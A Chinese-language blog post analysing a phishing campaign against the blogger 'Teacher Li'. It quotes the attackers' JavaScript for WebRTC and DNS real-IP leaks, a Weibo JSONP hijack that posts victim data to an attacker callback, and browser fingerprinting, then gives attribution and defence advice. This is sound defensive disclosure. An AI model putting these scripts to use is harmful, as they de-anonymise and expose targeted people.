针对李老师的钓鱼是如何进行的? 深度技术分析

编程也想
15 min readApr 6, 2024

推特知名新闻投稿博主李老师遭到钓鱼攻击。相关推文提供了三个钓鱼链接,本文从技术角度对其深入分析。因第一个链接已失效,所以本文只分析第二和第三个链接

其中第二个的链接是https://www.biiliblii[.]com/video/BV1va4y1K7qA?spm_id_from=333.337.search-card.all.click,第三个链接是https://telegra[.]best/4b823366-4804-4b27-81bc-933549a15d80/CVhVLPumfb.jpg。请读者注意,这些是货真价实的钓鱼链接,仅用做记录,不懂信息安全的读者不要随便点开

★手段分析

由于两个链接不仅具有高度雷同的Javascript代码,还采用了相同的域名和IP进行DNS泄露攻击以及WebRTC泄露攻击, 并且托管在同一个非CDN的IP地址,我们有相当大的把握认定这两个链接属于同一攻击者。因此,本分析会从按技术的逻辑顺序来叙述,对两个链接共同采取的技术只会叙述一遍

◇伪装

这两个链接都采取了伪装手段,试图骗取李老师的信任。第一个链接biiliblii[.]com的域名仿冒了中国知名视频网站bilibili[.]com的域名,将自己伪装成一个bilibili视频的链接。第二个链接telegra[.]best仿冒了匿名文章分享平台telegra[.]ph的域名,将自己伪装成一篇telegraph内嵌图片的链接

第一个链接中用于仿冒的html代码如下所示:

<head>
<title>https://www.bilibili[.]com/video/BV1va4y1K7qA/?spm_id_from=333.337.search-card.all.click</title>
</head>
<body>

...

<script type="text/javascript">
window.onload = function(){
function redirectLink(){
// 倒计时5秒或者请求均完成直接跳转
console.log(jumpCount)
if (jumpCount <= 0 || limitCount === 0) {
var anspk = "https://www.bilibili[.]com/video/BV1va4y1K7qA/?spm_id_from=333.337.search-card.all.click";
var al = document.getElementById("download");
window.location.href = anspk;
al.onclick = function () {
window.location.href = anspk
}
}else {
limitCount --
}
}
setInterval(redirectLink, 1500);
}
</script>

其中的<title>标签用于将网站的标题设为bilibili的真正域名,降低受害者警惕。而其Javascript代码会让网页加载约十秒钟后跳转到真正的bilibili视频,尽可能地让受害者无法察觉攻击

需要说明的是,尽管攻击者的注释声称网页跳转会在5秒钟后或请求成功进行跳转,但攻击者没能正确实现该功能。顺带一提,没有对攻击代码进行混淆、无法正确实现代码、代码风格冗长表明了攻击者技术水平的缺乏。这或许印证了安洵公司泄露事件中透露出的中国政府黑客承包商的现状,即这些承包商普遍无法给员工支付有竞争力的薪水,难以吸引高水平的黑客为其工作

第二个链接中用于仿冒的html代码如下所示:

<body>
<img src="https://telegra[.]best/4b823366-4804-4b27-81bc-933549a15d80/ezdhNXZEAQ.jpg">
</body>

该链接的html中嵌入了一张图片,受害者打开后只会看到这一张图片,降低受害者的警惕性

同时从该图可知,在执行钓鱼攻击时,御用骇客被允许发表直接攻击习近平的内容,因此是否攻击习近平无法成为判断钓鱼的指标

◇WebRTC真实IP泄露攻击

WebRTC (Web Real-Time Communication) 技术能在浏览器中实现高效的点到点传输,但WebRTC并不经过浏览器配置的代理。因此攻击者可以通过Javascript操控客户浏览器来发起WebRTC连接,透过代理获取客户端的真实IP。据传2047的站长因WebRTC导致真实IP被泄露,最终被中国警方逮捕(https://2047.one/t/17248

建立连接的相关的代码如下:

  (e = new RTCPeerConnection({
iceServers: [{
urls: "turn:182.160.7[.]131:3478",
username: btoa(window.location.href + "||" + projectKey),
credential: 1,
}]
})).onicecandidate = function(e) {

由于两个链接中WebRTC的回连地址都是182.160.7[.]131:3478,我们有相当大的把握认定这两个链接属于同一攻击者

◇DNS真实IP泄露攻击

DNS(Domain Name System) 协议是互联网的基石,浏览器能通过DNS将域名转换成IP地址,进而访问目标网站。然而存在一些实现有缺陷的代理,它们没有让DNS包通过它们而是让DNS直接发送。这导致这些DNS包的源IP地址是受害者真实的IP地址。攻击者可操控受害者浏览器,使其对攻击者可控的域名进行DNS解析,通过记录DNS请求的IP地址来透过代理获取受害者的真实IP

攻击采取的代码如下:

dnsLeak() {
const dnsUrl = host + '/dnsServer';
const dnsHttp = new XMLHttpRequest();
dnsHttp.timeout = 1000;
dnsHttp.open("GET", dnsUrl);
dnsHttp.onload = function() {
if (dnsHttp.status === 200) {
const response = dnsHttp.responseText;
for (let i = 1; i <= 20; i++) {
setTimeout(() => {
addSubdomainAndMakeRequest(projectKey + "--" + i + '.' + response);
}, i * 2000); // 每隔2秒(2000毫秒)发起一次请求
}
// 在这里处理返回的数据
} else {
console.error("Request failed with status:", dnsHttp.status);
}
};

dnsHttp.ontimeout = function() {
console.error("Request timed out");
};

dnsHttp.onerror = function() {
console.error("Request failed");
};

dnsHttp.send();
}

function addSubdomainAndMakeRequest(subdomain) {
const url = 'https://' + subdomain;
const addDnsHttp = new XMLHttpRequest();
addDnsHttp.timeout = 2000;
addDnsHttp.open("GET", url);
addDnsHttp.send();
}

dnsLeak();

在这个代码中,浏览器会首先请求钓鱼域名的/dnsServer,获取用于执行DNS泄露攻击的域名,接着每隔2秒对该域名发起HTTP请求。尽管HTTP请求会通过代理来发送,但其对应的DNS请求可能会造成受害者真实IP的泄露

经测试,两个钓鱼链接获取的钓鱼域名都是jquery[.]beauty的子域名。jquery[.]beauty显然是想将自己伪装成知名Javascript库JQuery相关的域名,直接访问jquery[.]beauty会得到一个欲盖弥彰的“js cdn asset”

◇Jsonp劫持攻击

Jsonp (JSON with Padding) 运行浏览器绕过同源策略请求跨网站的内容,这种技术已经过时,但依然被广泛使用。该技术的风险在于部分使用了该技术的网站存在漏洞,导致攻击者可获取受害者在该网站上的信息

具体到这次钓鱼,攻击者使用的是中国知名社交媒体微博的漏洞,代码如下:

function jsonpHijack() {
var bo1 = document.getElementsByTagName('body')[0];


var el = document.createElement('script');
el.src = "https://login.sina.com.cn/sso/login.php?client=&service=&client=&encoding=&gateway=1&returntype=TEXT&useticket=0&callback=bd";
el.defer = "defer";
bo1.appendChild(el);

function bd(data) {
if (data) {
const result = JSON.stringify(data)
console.log(result)
const bdhttp = new XMLHttpRequest();
bdhttp.timeout = 1000;
bdhttp.open("POST", callBackUrl);
bdhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
const currentUrl = document.location.toString();
bdhttp.send("t=jh&url=" + currentUrl + "&key="+ projectKey + "&" + "data=" + window.btoa(encodeURIComponent(result)));

bdhttp.onreadystatechange = function() {
if(bdhttp.status === 200 && bdhttp.responseText === "ok") {
jumpCount--
}
}
}
}
}

该jsonp漏洞会让微博的网页脚本将用户信息传入攻击者自定义的回调函数,该回调函数会将其发回攻击者

然而该jsonp漏洞是一个数年前已经被披露的漏洞 (https://github.com/fuckjsonp/FuckJsonp-RCE-CVE-2022-26809-SQL-XSS-FuckJsonp),很难说2024年该漏洞是否有效。由于笔者们并未注册微博,且不愿注册微博,未验证该漏洞的有效性,有兴趣且具备信息安全知识的读者可以在安全的情况下尝试。但根据这类漏洞的特性,在成功利用的情况下,攻击者可以获取受害者的微博账号信息,进而利用绑定的实名信息精准获取受害者的真实信息

请读者注意,利用中国社交媒体的漏洞对用户进行攻击并不意味着中国社交媒体平台主动参与了这次的攻击,我们应当以严谨的态度进行网络归因

◇浏览器指纹获取

除了上述非常侵入性的攻击,这两个钓鱼链接也会通过FingerprintJS获取浏览器的“指纹”信息。FingerprintJS是一个Javascript库,它能根据浏览器版本、操作系统、语言、WebGL等信息计算出客户端的“指纹”,使服务端能不完全依赖Cookies的情况下实现一定程度的用户追踪。该技术被应用于反欺诈和广告营销

而这次的钓鱼链接也是用了FingerprintJS来尝试追踪受害者

async function loadFingerprintJS() {
return new Promise((resolve, reject) => {
if (window.FingerprintJS) {
resolve(window.FingerprintJS.load());
} else {
loadScript('https://cdn.jsdelivr[.]net/npm/@fingerprintjs/fingerprintjs@4.1.0/dist/fp.min.js', () => {
if (window.FingerprintJS) {
resolve(window.FingerprintJS.load());
} else {
reject(new Error('Failed to load FingerprintJS.'));
}
});
}
});
}

async function getVisitorData() {
const fp = await loadFingerprintJS();
return await fp.get();
}

对Fingerprintjs的使用则平平无奇,单纯地从知名Javascript托管平台获取jsdelivr上加载Fingerprintjs并获取结果

★基础设施分析

biiliblii[.]com 和 telegra[.]best 的域名whois均无法查出有效信息

这两个域名都托管在IP地址为182.160.7[.]131的香港华为云机器

VirusTotal显示了还有其它域名指向该IP,这些域名大多是仿冒知名网站的域名,或许已经被攻击者用于钓鱼

用于DNS 泄露攻击的jquery[.]beauty托管在IP地址为43.134.108[.]67的新加坡服务器上,同时存在另一个域名mayoo[.]cc指向该IP,但记录的日期是2022年,所以可能和本次攻击无关

根据网络测绘,该机器部署了开源安全工具 interactsh(https://github.com/projectdiscovery/interactsh),该工具可用于检测带外(out-of-band)交互。据此推断攻击者通过这套工具实现DNS 泄露攻击

★类似的攻击工具也被其它中国政府黑客承包商开发

回顾中国政府黑客承包商安洵信息的泄露文档,检查为中国政府开发的攻击工具列表,不难发现“网络溯源取证系统”的技术和这次钓鱼攻击采用的手法高度相似

在安洵信息“网络溯源取证系统”的产品简介中可知,该系统能在目标访问网页后获取目标真实公网IP和内网IP,对目标和网关进行端口扫描,以及从产品参数介绍中可知该系统曾经能对百度和微博进行“账号获取”

上述的功能和这次钓鱼攻击采用的手法高度相似。获取真实公网IP可通过DNS泄露和WebRTC泄露达成、在常见技术手段中获取内网IP仅可能由WebRTC泄露达成、在跨域获取社交账号的最常见手段就是jsonp劫持

请读者注意,鉴于中国政府拥有大量的黑客承包商,许多开发了类似的系统,安洵信息只是其中之一,因此技术的相似并不能说明这次攻击的幕后黑手就是安洵信息。尽管根据攻击的目标和技术手段,我们可以很容易地将这次攻击归因为中国政府的黑客承包商,但具体是哪家承包商还有待各位读者们继续挖掘

★如何防护

面对钓鱼,最管用的防护就是不要点击可疑链接。认准网站的域名,不是熟悉网站的域名慎点,仿冒熟悉网站域名的拒点,搞不清楚的就Google一下,查查网站的正牌域名

对于上了名单的资深反贼,中共黑客有可能拿下目标网站后对你进行水坑攻击,此时域名识别不在有效,在这种情况下最好使用Tor浏览器。本文提到的所有攻击技术对Tor浏览器均无用,可以较大程度保障安全

如果不想用Tor,还有一些方法来加固自己的浏览器,达到安全和可用的平衡。在打开不熟悉的陌生网站时,用浏览器隐私模式打开可以防止Jsonp劫持攻击。同时也可安装浏览器插件禁止浏览器使用WebRTC技术。对于DNS 泄露可以在一些在线网站上检测自己的电脑是否受影响,如果受影响就换种代理方式接着测,直到确保不受影响

--

--

编程也想

倒下一个编程随想,还有千千万万个编程随想